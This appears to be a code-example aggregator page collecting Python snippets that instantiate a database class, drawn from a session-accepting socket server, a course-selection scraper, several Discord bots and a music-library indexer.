Exemple #1
0
 def serve_until_stopped(self):
     self.database = database.Database(self._database)
     for session in self.database.get_sessions(verbose=True):
         self.database.update_status(session.get('uid'), 0)
         session['online'] = False
         self.sessions[session.get('id')] = { "info": session, "connection": None }
     self._count = 1 if not len(self.sessions) else (max(self.sessions.keys()) + 1)
     while True:
         connection, address = self.socket.accept()
         session = Session(connection=connection, id=self._count)
         if session.info != None:
             info = self.database.handle_session(session.info)
             if isinstance(info, dict):
                 if info.pop('new', False):
                     util.display("\n\n[+]", color='green', style='bright', end=',')
                     util.display("New Connection:", color='white', style='bright', end=',')
                     util.display(address[0], color='white', style='normal')
                     util.display("    Session:", color='white', style='bright', end=',')
                     util.display(str(session.id), color='white', style='normal')
                     util.display("    Started:", color='white', style='bright', end=',')
                     util.display(time.ctime(session._created) + "\n", color='white', style='normal')
                     self.sessions[int(session.id)] = session
                     self._count += 1
                 session.info = info
         else:
             util.display("\n\n[-]", color='red', style='bright', end=',')
             util.display("Failed Connection:", color='white', style='bright', end=',')
             util.display(address[0], color='white', style='normal')
         prompt = self.current_session._prompt if self.current_session else self._prompt
         util.display(prompt, color=self._prompt_color, style=self._prompt_style, end=',')
         sys.stdout.flush()
         abort = globals()['__abort']
         if abort:
             break
Exemple #2
0
    def serve_until_stopped(self):
        self.database = database.Database(self._database)
        while True:
            connection, address = self.socket.accept()
            session = Session(connection=connection, id=self._count)
            util.display("\n\n\t[+]", color='green', style='bright', end=',')
            util.display("New Connection:", color='white', style='bright', end=',')
            util.display(address[0], color='white', style='normal')
            util.display("\t    Session:", color='white', style='bright', end=',')
            util.display(str(self._count), color='white', style='normal')
            util.display("\t    Started:", color='white', style='bright', end=',')
            util.display(time.ctime(session._created) + "\n", color='white', style='normal')
            self.database._display(session.info)
            info = self.database.handle_session(session.info)
            self.database._display(session.info)
            if isinstance(info, dict):
                session.info = info
            self.sessions[self._count] = session
            self._count += 1

            prompt = self.current_session._prompt if self.current_session else self._prompt
            util.display(prompt, color=self._prompt_color, style=self._prompt_style, end=',')
            abort = globals()['__abort']
            if abort:
                break
Exemple #3
0
def start():
    with open("./config.json") as fs:
        steam = str(fs.read())
        config = json.loads(steam)
        fs.close()
    session = requests.Session()

    cookie = login(session, config)
    courseClass = fclient.CourseList()
    db = database.Database(config['database']['host'],
                           config['database']['username'],
                           config['database']['password'],
                           config['database']['db_name'],
                           config['database']['port'])

    get_selectionKind(session, cookie, config, db, courseClass)
Exemple #4
0
config.read(f"{directory}/config.ini")
logo = str(config.get("server", "logo"))
TOKEN = str(config.get("server", "token"))
botname = str(config.get("server", "name"))
prefix = str(config.get("server", "prefix"))
system_channel = int(config.get("server", "system_channel"))
botcolour = discord.Colour(int(config.get("server", "colour"), 16))

Client = discord.Client()
bot = commands.Bot(command_prefix=prefix)
bot.remove_command("help")

activities_file = f"{directory}/files/activities.csv"
activities = activity.Activities(activities_file)
db_file = f"{directory}/files/reactionlight.db"
db = database.Database(db_file)


def isadmin(user):
    # Checks if command author has an admin role that was added with rl!admin
    admins = db.get_admins()

    if isinstance(admins, Exception):
        return False

    try:
        user_roles = [role.id for role in user.roles]
        return [
            admin_role for admin_role in admins if admin_role in user_roles
        ]
Exemple #5
0
from core import config, common, database, tags, lastfm, spotify, CONFIG_PATH

# ############################################################################
# 1. Inizializzazione
# ############################################################################

print("* initialization...")

# configuration intialization
cfg = config.Config(CONFIG_PATH)

# drop old db
common.delete(cfg.getDb())

# istanza db
db = database.Database(cfg.getDb())
db.open()

# inizializzazione e caricamento schema logico
with open(cfg.getSchema()) as sh:
    ddl = sh.read()
db.executeScript(ddl)

# count operazioni
added, errors = 0, 0

# timer
start_time = time.time()

# ############################################################################
# 2. Scansione canzoni grezze
Exemple #6
0

game = discord.Game("twitch.tv/1Urso")


async def determine_prefix(bot, message):
    return bot.database.read_out(message.guild.id)['prefix']


# Definicao das variavis
bot = commands.Bot(command_prefix=determine_prefix,
                   case_insensitive=True,
                   intents=intents)
bot.change_presence(status=discord.Status.online, activity=game)

bot.database = database.Database()
bot.players = players
bot.queue = queue
bot.teste = {}
bot.filterid = filter_id


@bot.event
async def on_ready():
    print('Bot logado usando a tag: {0.user}'.format(bot))


# Responsavel por carregar os modulos de acordo com as pastas
if __name__ == "__main__":
    for fou in listdir('./modules/'):
        for cmd in listdir(f'./modules/{fou}'):
folder = f"{directory}/files"
config = configparser.ConfigParser()
config.read(f"{directory}/config.ini")
logo = str(config.get("server", "logo"))
TOKEN = str(config.get("server", "token"))
botname = str(config.get("server", "name"))
prefix = str(config.get("server", "prefix"))
system_channel = int(config.get("server", "system_channel"))
botcolour = discord.Colour(int(config.get("server", "colour"), 16))

Client = discord.Client()
bot = commands.Bot(command_prefix=prefix)
bot.remove_command("help")

activities = activity.Activities(f"{directory}/files/activities.csv")
db = database.Database(f"{directory}/files/reactionlight.db")


def isadmin(user):
    # Checks if command author has an admin role that was added with rl!admin
    admins = db.get_admins()
    if isinstance(admins, Exception):
        return False
    try:
        user_roles = [role.id for role in user.roles]
        return [
            admin_role for admin_role in admins if admin_role in user_roles
        ]
    except AttributeError:
        # Error raised from 'fake' users, such as webhooks
        return False